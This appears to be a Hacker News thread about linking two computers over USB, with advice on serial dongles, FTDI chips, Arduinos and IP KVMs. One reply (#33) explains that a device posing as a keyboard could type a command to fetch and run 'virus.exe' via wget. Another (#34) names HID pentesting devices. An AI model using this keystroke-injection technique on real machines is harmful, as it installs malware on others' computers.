> but as far as I can see, there's no arduino with 2 usb ports.
2 arduinos with a serial link between them.
Ask HN: Advice for creating a USB device linking 2 computers
31–40 of 46 posts
Re: Ask HN: Advice for creating a USB device linking 2 computers
#32Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
No. You're just sending bits down a wired connection.
Re: Ask HN: Advice for creating a USB device linking 2 computers
#33Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
Of course it can. You can send keystrokes something like +R, cmd, wget example.com/virus.exe virus.exe and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.
The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.
Re: Ask HN: Advice for creating a USB device linking 2 computers
#34It sounds like you might want a device like a Bash Bunny or Rubber Ducky?
Well, nothing malicious, and it would be to use between 2 of my own computers.
They’re marketed and sold as pentesting devices but there’s no reason why somebody couldn’t use HID emulation to automate some boring IT tasks.
I’m curious about your use case. You have a server that you can’t ssh/vnc/rdp into, it has an open usb port, and using an $8 keyboard is a no-go?
Edit: If you ignore all the hacking language, it kind of looks like an O.MG Plug might accomplish what you’re looking for. https://shop.hak5.org/products/omg-plug
Re: Ask HN: Advice for creating a USB device linking 2 computers
#35You could do this with a couple of TI MSP-EXP430F5529LP boards (https://www.digikey.com/en/products/detail/texas-instruments...
Alternatively, the newer ESP32-S3 boards (https://www.amazon.com/dp/B0CN4789XC
If you want to allow a network connection between the two computers, you could load soft-KVM software on each, and go from there.
https://goinglinux.com/open-source-cross-platform-kvm-softwa...
Re: Ask HN: Advice for creating a USB device linking 2 computers
#36You can use two arduinos and connect them in such a way they are talking through the GPIO ports to each other.
You could do something similar with a couple of Raspberry Pi's or RPI nanos. It doesn't really matter as both can be configured as USB devices and to access their GPIO ports.
The trick is getting them to act as a USB device and then to have them send data over the GPIO ports.
Fortunately I don't think either of those should be super hard.
Re: Ask HN: Advice for creating a USB device linking 2 computers
#37Get two FTDI FT232RL chips, connect them together on serial side (RXD->TXD, TXD->RXD, GNDGND). Plug into USB ports of your computers, run terminals (or any other software that supports serial I/O), send/receive data. Can use XYZModem to send files, PPP for TCP/IP networking, etc. No programming involved. Cheap as hell.
Re: Ask HN: Advice for creating a USB device linking 2 computers
#38With the right hardware, there are even ways to do this just by configuring the laptop's USB port into gadget mode and then... plugging it in.
Re: Ask HN: Advice for creating a USB device linking 2 computers
#39I believe the search keyword for what you're looking for is probably "IP KVM".
You know, looking back at this eight hours later, I realize that this post sounds way worse than I intended. I was attempting to signal my own epistemic uncertainty, not imply sarcastic dismissal. Sorry. :/
Re: Ask HN: Advice for creating a USB device linking 2 computers
#40Get two FTDI FT232RL chips, connect them together on serial side (RXD->TXD, TXD->RXD, GND GND). Plug into USB ports of your computers, run terminals (or any other software that supports serial I/O), send/receive data. Can use XYZModem to send files, PPP for TCP/IP networking, etc. No programming involved. Cheap as hell.
I wonder why I had to scroll so far down to find this comment
People even suggesting using two Ardinos which each have a USB serial chip on board